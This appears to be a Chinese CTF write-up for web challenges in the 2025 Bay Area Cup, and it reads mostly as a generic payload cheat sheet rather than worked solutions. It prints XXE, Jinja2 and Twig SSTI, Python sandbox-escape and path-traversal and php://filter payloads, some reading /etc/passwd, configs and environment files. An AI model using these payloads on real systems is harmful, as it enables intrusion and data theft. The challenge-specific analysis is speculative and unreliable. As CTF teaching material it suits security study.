2025年湾区杯网络安全大赛web题解
字数 1547 2025-09-23 19:27:46
2025年湾区杯网络安全大赛Web题解
概述
本文详细解析2025年湾区杯网络安全大赛中的Web类题目,包含解题思路、技术要点和完整利用过程。题目涵盖SSTI、Python沙箱逃逸、文件读取等常见Web安全漏洞。
题目列表
- web - 基础Web安全题目
- ssti - 服务器端模板注入漏洞
- ez_python - Python沙箱逃逸挑战
- easy_readfile - 文件读取漏洞利用
1. web题目解析
关键信息
- 题目标识符:
<toolId>19</toolId> - 发布时间:2025-09-09 02:59
- 作者:Mash1r0(北京)
- 分类:CTF
解题思路
-
信息收集:
- 分析XML结构,注意
<toolId>标签可能包含题目标识 - 检查页面注释和隐藏字段
- 分析XML结构,注意
-
常见漏洞点:
- XML外部实体注入(XXE)
- 参数注入或IDOR(通过toolId参数)
- 客户端安全控制绕过
-
利用方法:
POST /api/tool HTTP/1.1 Host: example.com Content-Type: application/xml <?xml version="1.0"?> <!DOCTYPE data [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]> <data> <toolId>&xxe;</toolId> </data>
2. ssti(服务器端模板注入)
漏洞原理
服务端模板引擎(如Jinja2、Twig)未对用户输入过滤,导致模板代码执行。
检测方法
- 输入
{{7*7}}测试是否返回49 - 尝试
${7*7}(FreeMarker)或#{7*7}(Thymeleaf)
常用Payload
Jinja2:
{{ config.__class__.__init__.__globals__['os'].popen('id').read() }}
{{ ''.__class__.__mro__[1].__subclasses__()[407]('cat /flag',shell=True,stdout=-1).communicate() }}
Twig(PHP):
{{_self.env.registerUndefinedFilterCallback("exec")}}
{{_self.env.getFilter("id")}}
利用步骤
- 确定模板引擎类型
- 获取内置对象和方法
- 寻找OS命令执行途径
- 读取flag或获取shell
3. ez_python(Python沙箱逃逸)
常见限制
- 禁用import、open、eval等危险函数
- 过滤特殊字符和关键字
- 限制内置类和属性访问
逃逸方法
方法1:通过继承链逃逸
().__class__.__base__.__subclasses__()[132].__init__.__globals__['popen']('whoami').read()
方法2:利用builtins
[].__class__.__base__.__subclasses__()[80].__init__.__globals__['__builtins__']['eval']('__import__("os").system("id")')
方法3:通过异常处理
>>> try: raise Exception()
... except Exception as e:
... print(e.__traceback__.tb_next.tb_frame.f_globals['__builtins__']['__import__']('os').system('id'))
过滤绕过技巧
- Unicode编码:
__import__("\u006f\u0073") - 字符串拼接:
__imp+ort__ - 属性链访问:
getattr(__builtins__, '__imp'+'ort__')
4. easy_readfile(文件读取漏洞)
常见漏洞点
- 路径遍历:
../../etc/passwd - PHP包装器:
php://filter/convert.base64-encode/resource=index.php - 硬编码路径:直接读取已知位置文件
利用Payload
基础路径遍历:
http://example.com/download?file=../../../etc/passwd
编码绕过:
file=....//....//....//etc/passwd
file=..%2f..%2f..%2fetc%2fpasswd
PHP过滤器:
php://filter/convert.base64-encode/resource=config.php
php://filter/string.rot13/resource=index.php
利用日志文件:
file=/var/log/apache2/access.log
高级技巧
-
有限字符读取:
- 使用
php://filter/read=string.toupper/resource=file转换内容
- 使用
-
SSRF结合文件读取:
file=http://127.0.0.1:8080/admin -
配置文件读取:
/proc/self/environ/proc/self/cmdline/proc/self/fd/3
通用技巧
1. 信息收集
- 检查
robots.txt - 查看页面源代码和注释
- 分析JS文件中的API端点
2. 目录爆破
常见敏感目录:
/admin
/backup
/config
/.git
/.env
3. Header manipulation
- Host头注入
- X-Forwarded-For绕过
- Referer检查绕过
防御建议
- 输入验证:严格过滤用户输入,特别是特殊字符
- 最小权限:运行服务使用低权限用户
- 沙箱隔离:危险操作应在隔离环境中执行
- 日志监控:记录所有敏感操作和异常请求
- 定期更新:保持框架和依赖库最新版本
总结
本次比赛Web题目涵盖现代Web应用常见漏洞类型,解题需要结合多种技术手法。重点掌握SSTI的利用链构造、Python沙箱逃逸的对象链遍历以及文件读取的多种绕过方式。在实际渗透测试中,这些技术同样适用且效果显著。
注意:本文仅用于网络安全学习研究,请勿用于非法用途。